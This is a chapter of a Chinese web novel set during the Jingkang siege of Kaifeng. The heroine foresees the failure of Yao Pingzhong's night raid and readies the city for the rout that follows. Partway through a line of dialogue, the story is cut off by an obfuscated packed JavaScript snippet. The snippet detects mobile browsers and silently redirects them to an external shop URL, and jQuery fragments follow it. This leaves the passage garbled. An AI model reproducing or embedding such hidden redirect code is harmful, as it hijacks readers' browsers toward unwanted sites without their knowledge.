29. 姚平仲的夜袭

作品:《穿到靖康成炮灰,我在汴京找活路

    “兵书,史书,还有一些杂的。”


    “哪本兵书写了城内义勇编制与城防联动?”


    沈清辞想了想。


    确实没有哪本兵书会写这种东西——


    兵书写的是排兵布阵,是战场上的事,不是城墙后面的。


    这种东西,是她在汴京的城头上,对着那些从巷子里走出来的百姓,一点一点推演出来的。


    “不是一本。”她说,“是把几本并在一处,推演出来的。”


    种师道沉默了片刻。


    “好。”他抬起头,“老夫还有一个问题,希望你如实回答。”


    “将军请说。”


    “官家如今是什么态度?……信不信李纲?”


    沈清辞闻言,沉默了半响。


    “信。但不够。”她停了一下,“信一个人,与用一个人,是两回事。”


    种师道的眼睛在这一句里亮了一下。


    “就这一句。我信你了。”


    他转身往帐里走。


    走到帐帘处,顿了一下,没有回头。


    帐帘落下来之前,她听见他低声对帐内的副将说了一句话。


    “那位沈娘子,不简单。留意着。”


    沈清辞站在帐外,把那句话听完,转身往城门方向走去。


    帐外的风把她的袍角吹起来。


    那件幕僚袍在正月里显得单薄,风一吹就透了。


    她拢了拢领口,继续走。


    种师道说“留意着”,是因为他已经感觉到了。


    他感觉到了她身上那道说不清楚的气息。


    他打了一辈子仗,这种直觉早就磨成了本能。


    沈清辞没有太多感慨。


    她只是往前走,城里,还有一堆未完的事情等着。


    夜里,火药局。


    沈清辞在灯下写东西,一张素纸上,流水似的记了几行今天的事。


    写到种师道的时候,她停下来,搁下笔,脑子里又浮现出那个老将的脸,须发皆白,眼睛还亮,脚步很稳,但慢了。


    只有八个多月了。


    她不知道这八个多月里自己能做什么。


    关于种师道的死有很多原因——


    钦宗的猜忌,朝廷的掣肘,那场被迫出兵的仗,还有七十六岁的身体已经到了极限……


    这些原因,哪一个她能动?


    她想了一会儿,没有答案,但也没有放下。


    有答案的题,她做。没答案的题,她先记着。说不定哪一天,答案自己就来了。


    她重新拿起笔,继续写。


    窗外,城南方向,种师道的西军营地亮着灯。


    灯光稀疏,散落在靖康元年的正月夜里,像一批等待被用上的棋子。


    它们落在棋盘边缘,还没走到最关键的位置,但在了——在了就比不在好。


    沈清辞朝那个方向看了一眼,低下头,继续写。


    ****


    靖康元年正月十七至十八


    姚平仲来军议的时候,沈清辞正在李纲的隘室旁边等消息。


    她还没进门就听见了他的声音——年轻的,激越的,每个字都咬得很重,全是往前冲的势头,像一把弓绷得太满,随时要松弦。


    “金军劫寨,今夜可成。某愿立军令状——”


    她没有走进去,站在廊下听了一会儿。


    里面李纲和种师道都在说话,声音比姚平仲低,压着他的势头往下拉。


    但拉不住。


    那股劲太年轻、太猛,像一匹烈马,辔头扯着,马蹄还在刨地。


    沈清辞在廊柱旁边站了片刻,转身去找萧景琰。


    两个人站在火药局外头,背靠着墙,四下无人。


    “姚平仲要劫金营,夜袭。”沈清辞直接说。


    萧景琰闻言,沉默了一会,低声问:“你觉得,他的成算有几何?”


    “零。”她说,“会失败。”


    不是“可能失败”,是“会失败”。


    萧景琰听出了这两个字的差别,没有立刻接话,又意味深长地看了她一眼。


    “你怎么知道?”


    “金军的营地不是没有防备的。”沈清辞说,“完颜宗望在边境打了多年仗,营地布置不会给人留下这种空子。”


    “夜袭讲究出其不意,但金军的夜哨不是摆设。姚平仲急功近利,走漏消息的可能极大。一旦走漏,不是败,是溃。”她顿了顿,“金军会反扑,反扑会压到城门前。”


    萧景琰把这番话在心里推了一遍。“你可有证据?”


    “没有。只有判断。”


    这两个字落下去,两个人都想起了地道战那一夜的那场争吵,那句“你信的是直觉,我信的是证据”。


    但这一次,萧景琰没有说“判断不够”,只是“嗯”了一声。


    “李纲那边知道吗?”


    “还没,我马上去说。”


    ***


    李纲听完沈清辞的话,没有表态,只是把那几条推断了一遍。


    “种师道也反对。”他说,“我也认为时机未到。但——”


    他停了一下,“姚平仲有官家密诏。”


    “密诏。官家已经下了?”


    “昨日。”李纲的语气里有一种说不清楚的疲倦,“姚平仲请战,越过了本官,直接去了宫里。官家——官家也很迫切想要一场胜仗。”


    沈清辞没有再说什么。


    钦宗想要一场胜仗,姚平仲给了他一个听起来很好的方案。


    “我知道了。”她说,“李公,我有几件事想安排,需要李公的令牌。”


    李纲疑惑地看了她一眼,“什么事?”


    “我要做好失败后的准备。”她语气很平静,“劫营方向的城门段,把火药部队调过去。”


    “城内各坊市安排民壮,准备迎接溃兵。”


    “备药,备食,备人——若反扑真的压到城门前,最快的反应要在城门已经开始失控之前就到位。”


    李纲闻言,沉默了半响,随即取出令牌,放在桌上,没有说话。


    沈清辞拿起令牌,行了一礼,出去了。


    姚平仲找来,已经是傍晚的事。


    沈清辞正在和刘铁匠核对调过去的火药球数量,背后传来脚步声。


    她转过身,正对上一张年轻的脸。


    年纪大约在二十四五岁,眉眼英挺,高颧骨,嘴角微微往上挑着。


    那挑起的弧度,正是年轻人特有的自信。


    他身上穿着将领的戎服,腰间佩刀,刀鞘是新的,没有磨损,但握刀的手有茧,是真练出来的。


    他打量了沈清辞一眼。


    “你就是那个沈参事?”他说,“本将听说过你。”


    停了一下,语气里没有轻视,但有那种年轻将领见到文职幕僚时,特有的居高临下,“今夜本将出城,特来向你道


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414096|199114||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    个别,此战必胜。”


    沈清辞点点头,“保重。”


    姚平仲闻言,愣了一下。


    “你似乎,并不相信我会胜?”他问得很直接,没有绕。


    “我相信将军勇武。”沈清辞说,“此番出城,你,保重。”


    姚平仲看了她一会儿,眼中的疑惑更深了。


    “你确定本将会败。”他蹙眉,“但你却不劝本将。这是为何?”


    “因为没有用。”沈清辞说,“密诏已下,将军去意已决。我说什么都是废话。”


    她停了一下,“与其废话,不如保重。”


    姚平仲盯着她,深深看了会,没有找到他预期的任何东西。


    他低下头说,“你……是个直人。”


    然后他重新抬起头,“不管你信不信,今夜之后,本将会带着完颜宗望的人头回来。”


    “将军。”沈清辞说。


    “嗯?”


    “今夜,无论如何。”她把这句话说得很慢,每个字都落到实处,“若遇险,先保住自己的命。”


    姚平仲沉默了一下,然后点了点头。


    “知道了。”


    他转身时步子迈的很大,在暮色里,走出了一道利落的轮廓。


    沈清辞站在原地,看着那个背影消失。


    然后重新拿起刘铁匠推过来的那份数量表,低头继续核对。


    萧景琰是在她把表核对完之后走过来的。


    “你去劝了?”


    “劝了。没有用。”她说,“再说,官家的密诏已下。”


    “你现在在做失败后的准备?”


    “是。”


    “你每次都在为最坏的情况做准备。”萧景琰的语气有些意味不明


    “因为最坏的情况,几乎每次都会来。”沈清辞说。


    萧景琰没有立刻接话,只在她旁边站着,犹豫半响,轻声问道:“那你……


    累不累?”


    沈清辞闻言,手停了一下,然后把那份表压进袖里。


    她没有回答。


    萧景琰便也没有继续追问。


    城外的金军营地里还有灯,稀疏的,和城内这边的灯火遥遥对着,像两片星子,隔着一道沟壑,各自亮着。


    夜深了,姚平仲出城了。


    沈清辞是知道他出城的具体时间。


    她让青黛在城门那边守着,等人出去了,第一时间来报。


    青黛回来的时候,子时刚过。


    “出去了。三千骑,走的西门。”她压低声音,“姚将军在前头,旗是收着的,没有打。”


    沈清辞应了一声,把手边的油灯挑亮了一点,继续对着那份调度的单子,把明日需要到位的人手和物资逐一确认。


    “出了事,多久会反扑到城门?”青黛问。


    “两个时辰,快的话一个半。”沈清辞说,“但溃兵会先到。溃兵比反扑快。若城门那边乱了,反扑进来的代价会加倍。”


    青黛在心里默默的把这个时间差仔细算了一遍。


    “所以城门那边——”


    “我已经安排了。”沈清辞说,“义勇的头目今晚在那里守着。接到信号,第一件事是稳住溃兵,不让他们把城门的秩序冲垮;第二件事是把火药部队推到位。若金军追上来——”


    她的话还没有说完,青黛就已经明白了,点了点头,退到一边,没有再说话。


    (第二十九章完)